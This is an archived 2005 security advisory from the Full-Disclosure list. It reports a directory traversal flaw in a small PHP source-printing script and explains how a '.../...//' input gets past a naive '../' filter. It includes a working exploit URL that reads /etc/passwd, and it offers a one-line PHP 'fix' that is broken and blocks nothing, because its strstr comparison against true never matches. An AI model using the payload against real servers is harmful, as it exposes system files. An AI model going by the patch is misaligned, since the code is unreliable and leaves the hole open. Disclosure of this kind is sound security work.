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[Full-disclosure] Directory traversal vulnerability in "Quick & Dirty PHPSource Printer" 1.0
From: Seth Alan Woolley (seth
tautology.org)
Date: Mon Jul 04 2005 - 01:00:30 CDT
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== Vendor:
Kaf Oseo
== Product:
http://guff.szub.net/quick-dirty-phpsource-printer/
== Version:
1.0
== Vulnerability:
Filtering "../" to "" allowed use of ".../...//" to be inserted and
changed to "../" allowing directory traversal.
== Fix:
Use the following line instead:
$file = (strstr($file_get, '../') === true) ? '' : $file_get; // protect from site traversing
== Discoverer:
Seth Alan Woolley
== Discovery Date:
2005-07-03
== Patch Date:
2005-07-03
== Notification Date:
2005-07-03
== Disclosure Date:
2005-07-03
== Exploit:
http://sample.domain.com/source.php?file=.../...//.../...//.../...//.../...//.../...//.../...//etc/passwd
== Greets
shellsage, #wordpress
== Commentary
Free/Open Source Software ... written better because anybody could be
looking at it and people who care about security more than their next
paycheck did look at it.
--
Seth Alan Woolley [seth at positivism.org], SPAM/UCE is unauthorized
Quality Assurance Team Leader & Security Team: Source Mage GNU/linux
Linux so advanced, it may as well be magic http://www.sourcemage.org
Secretary Pacific Green Party of Oregon http://www.pacificgreens.org
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